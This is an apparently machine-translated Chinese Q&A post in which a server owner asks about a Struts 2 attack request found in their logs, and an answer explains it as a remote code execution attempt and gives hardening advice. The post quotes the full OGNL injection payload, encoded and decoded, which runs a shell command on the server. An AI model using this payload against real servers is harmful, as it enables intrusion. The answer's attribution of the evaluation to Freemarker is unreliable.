这个黑客想用这个Java代码做什么?
在我的 Web 服务器的服务器日志中,我注意到一个黑客正在尝试这个:
https://[domain name]/index.action?action:${%23a%3d(new%20java.lang.processbuilder(new%20java.lang.string[]{'sh','-c','id'})).start(),%23b%3d%23a.getinputstream(),%23c%3dnew%20java.io.inputstreamreader(%23b),%23d%3dnew%20java.io.bufferedreader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.httpservletresponse%27),%23matt.getwriter().println(%23e),%23matt.getwriter().flush(),%23matt.getwriter().close()}
哪个 URL 解码为:
https://[domain name]/index.action?action:${#a=(new java.lang.processbuilder(new java.lang.string[]{'sh','-c','id'})).start(),#b=#a.getinputstream(),#c=new java.io.inputstreamreader(#b),#d=new java.io.bufferedreader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.httpservletresponse'),#matt.getwriter().println(#e),#matt.getwriter().flush(),#matt.getwriter().close()}
我的服务器不使用 Java,但我试图了解这个黑客在这里试图做什么以及为什么这可能是一个漏洞。毕竟,我不仅仅是一个开发人员,还需要知道如何保护服务器,包括不是我设置的服务器。
代码似乎启动了一个新进程,然后尝试从输入流中读取数据。我假设这是当前网络会话的输入流。
由于此攻击也在 /login.action 和其他各种 URL 和不同的 Java 代码上进行过尝试,因此我认为它具有潜在危险。但我无法解释为什么这很危险。
由于黑客试图查看它是否正在运行 WordPress 或 Magenta 或其他已知系统,并且还尝试了几种不同的攻击,因此特定域现在正在受到攻击。
但重要的是:该域目前正在开发中,所有者仍然必须决定将使用哪些开发工具。选择是在 Java 和 ASP-NET 之间,如果他选择 Java,这种攻击是否危险?
回答
它试图利用 Struts 2 中的 RCE 漏洞,我认为是这个。糟糕的是,Freemarker 会执行${}标签内的任何代码。
该Freemarker的代码将启动一个进程来执行id,看看服务器与运行root,充分获得了盒子。即使是易受攻击的 Struts 版本在这里也可能不会太糟糕,因为攻击者可能不会感兴趣,除非您是root.
攻击者的程序有很多这些旧漏洞,它们可以在非常不安全的服务器上工作,但即使是简单的管理协议也可以防止这些业余攻击。只有在以 root 身份运行、使用旧版本的软件、使用弱密码或默认密码将数据库服务器打开到 Internet 等时,您才会容易受到攻击。
无论您选择哪种技术,都会存在安全问题,您需要遵循 CVE。例如,像Spring这样的现代 Java 框架有一些,但远程代码执行非常罕见,而这正是那些攻击程序所寻找的。